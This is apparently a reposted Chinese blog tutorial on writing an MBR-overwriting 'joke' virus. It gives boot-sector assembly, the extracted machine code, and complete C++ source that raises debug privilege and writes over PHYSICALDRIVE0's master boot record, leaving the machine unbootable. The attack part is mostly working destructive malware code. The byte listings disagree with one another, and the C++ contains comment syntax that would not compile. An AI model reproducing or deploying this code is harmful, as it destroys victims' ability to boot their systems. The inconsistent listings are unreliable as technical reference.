一個改寫MBR的例子


前言
  想要對MBR類的病毒進行一下研究與學習,在此期間,看了很多資料,其中幫助最大的就是金龜子學姐和willj學長發表的文章。一個從源碼與實現角度來講了一下,另外一個從反病毒角度來分析。

功能描述
該樣本就只是一個簡單的玩笑病毒,主要是讓你不能開機,只在屏幕顯示一串字符串。

0x1 什么是MBR
    MBR,就是硬盤的主引導記錄,也就是硬盤的0柱面、0磁頭、1扇區稱為主引導扇區。這類病毒是格式化硬盤之后任然存在的病毒。該記錄占用512個字節,它用於硬盤啟動時將系統控制權交給用戶指定的。簡而言之,就是先於操作系統拿到控制權
 
0x2 病毒原理
  • 准備好將要寫入的MBR     
  • 提升程序權限   調用CreateFile函數去打開物理驅動器的時候,必須具備調試權限,否則就會打開失敗,打開失敗我們就不能對MBR進行讀取了
  • 打開"\\\\.\\PHYSICALDRIVE0"文件  \\\\.\\PHYSICALDRIVE0"文件表示本機的物理驅動器0(一般是主硬盤),也就是我們的MBR。
  • 寫入MBR
    成功寫入MBR,我們也就拿到了先於系統的控制權了,就可以做很多事情了,但是這里我們只是在teletype模式下顯示一串字符串。
0x3 匯編源碼
下面是完整的匯編源碼:
   
   
   
           
  1. assume cs:code
  2. code segment
  3. start:
  4. mov ax,12h ;使用12號功能,對顯示器進行設置
  5. int 10h
  6. ;顯示器的設置
  7. mov bp, 7C18H ;字符串的起始偏移,為啥是7c18呢?代碼得長度干好18H,哈哈
  8. mov cx, 13h ;字符串長度
  9. mov ax,1301h ;AH = 13h 調用功能號13 ,在teletype模式下顯示字符串,AL = 01H
  10. mov bx,0Ch ;BH = 00H BL = 0CH
  11. mov dx,0h ;起始的行列
  12. int 10h
  13. jmp $ ;無線循環,防止代碼進入數據區
  14. code ends
  15. end start

下面是對匯編代碼的剖析:
  • 對顯示器進行設置
  int 10h中斷是BIOS對系統屏幕顯示器所提供的服務程序。我們可以調用int 10h中斷來控制顯示器的顯示。使用INT 10H中斷的時候,都先必須指定AH的值,AH的值是用來指定INT 10H將要調用的功能號。
   
   
   
           
  1. mov ax,12h ;使用12號功能,對顯示器進行設置
  2. int 10h ;調用int 10h中斷
  • 指定顯示字符串
     
     
     
             
  1. mov bp, 7C18H ;字符串的起始偏移,為啥是7c18呢?代碼得長度剛好18H,哈哈
  2. mov cx, 13h ;字符串長度
  • 對字符串顯示進行設置
       
       
       
               
  1. mov ax,1301h ;AH = 13h 調用功能號13 ,在teletype模式下顯示字符串,AL = 01H
  2. mov bx,0Ch ;BH = 00H BL = 0CH
  3. mov dx,0h ;起始的行列

0x4 INT 10H中斷的13號功能
功能描述:在Teletype模式下顯示字符串

入口參數:AH=13H
BH=頁碼
BL=屬性,文字模式或顏色 (若AL=00H或 01H)
CX=顯示字符串長度
(DH、DL)=坐標(行、列)
ES:BP=顯示字符串的地址 AL=顯示輸出方式
0—— 字符串中只含顯示字符,其顯示屬性在BL中。顯示后,光標位置不變
1——字符串中只含顯示字符,其顯示屬性在BL中。顯示后,光標位置改變
2 ——字符串中含顯示字符和顯示屬性。顯示后,光標位置不變
3——字符串中含顯示字符和顯示屬性。顯示后,光標位置改變
出口參數:無
0x5 獲取匯編的機器碼
     上為什么要獲取上面代碼的機器碼呢?因為我們的代碼都是被編譯器解釋為機器碼來執行的,這里我們 面是匯編代碼,所以需要編譯鏈接之后可以將機器碼拷貝出來。
編譯連接:
  • 用到的工具
  • 用到的指令
將上面的解壓后放到你覺得合適的地方,這里我是放在的C盤。 這里編譯是用到masm5.0里面的masm.exe程序。 下面就對我們的代碼進行編譯。生成的*.obj文件存放在masm.exe程序的同位置,如果你想改變生成的位置,你可以在cmd顯示Object filename [4.obj]的時候指定一個路徑。
   
   
   
           
  1. C:\masm>masm C:\Users\xiaopao\Desktop\4.asm

編譯成功后就是連接了,連接我們要用到的就是masm5.0里面的link.exe程序。
 ok,程序連接成功,下面就是提取里面的機器碼了。這里我用的是C32Asm,當然你也可以用WinHex
 
圈出來的部分就是我們的代碼,下面是提取出來的。
B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE

我們把我們想要顯示的字符串添加到后面去。
B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 E2 FE  06D 061 06B 065 020 062 079 20  78 69 61 6F 70 61 6F 00

0x6 主代碼
MBR准備好了。那么就來寫主程序吧。 主程序就兩個函數,一個用來提權,一個用來寫MBR。直接貼代碼吧
  
  
  
          
  1. #include "stdafx.h"
  2. #include <Windows.h>
  3. #include <TlHelp32.h>
  4. char temp[512]={
  5. 0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,
  6. 0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,
  7. 0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
  8. //自己寫一個函數來提權。
  9. void GetPrivileges()
  10. {
  11. //定義一個PLUID
  12. HANDLE hProcess;
  13. HANDLE hTokenHandle;
  14. TOKEN_PRIVILEGES tp;
  15. //獲取當前進程的句柄
  16. hProcess = GetCurrentProcess();
  17. //
  18. OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
  19. //函數查看系統權限的特權值,返回信息到一個LUID結構體里。
  20. tp.PrivilegeCount =1;
  21. LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
  22. tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
  23. AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
  24. CloseHandle(hTokenHandle);
  25. CloseHandle(hProcess);
  26. }
  27. //下面的函數來讀取"\\\\.\\PHYSICALDRIVE0"
  28. void ReadPHYSICALDRIVE0()
  29. {
  30. HANDLE hFile;
  31. DWORD dwReadSize;
  32. // char lpBuffer[512];
  33. //使用createFile打開這個文件
  34. char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
  35. hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
  36. if (hFile == INVALID_HANDLE_VALUE)
  37. {
  38. MessageBox(0, "wrong", "wrong", 0);
  39. }
  40. BYTE pMBR[512] ={0}; ;MBR為512個字節
  41. memcpy(pMBR,temp,sizeof(temp)-1);
  42. pMBR[510] =0x55; ;最后的標記位
  43. pMBR[511] = 0xAA;
  44. //用readfile來讀取文件
  45. WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
  46. }
  47. int _tmain(int argc, _TCHAR* argv[])
  48. {GetPrivileges();
  49. ReadPHYSICALDRIVE0();
  50. return 0;

0x7 總結
運行我們編譯好的主程序,然后重啟就會發現我們的電腦無法正常啟動了,並且在屏幕上會出現一串字符。如下圖 到這里一個簡單的改寫MBR的程序就寫好了。







附件列表

     


    免責聲明!

    本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



     
    粵ICP備18138465號   © 2018-2025 CODEPRJ.COM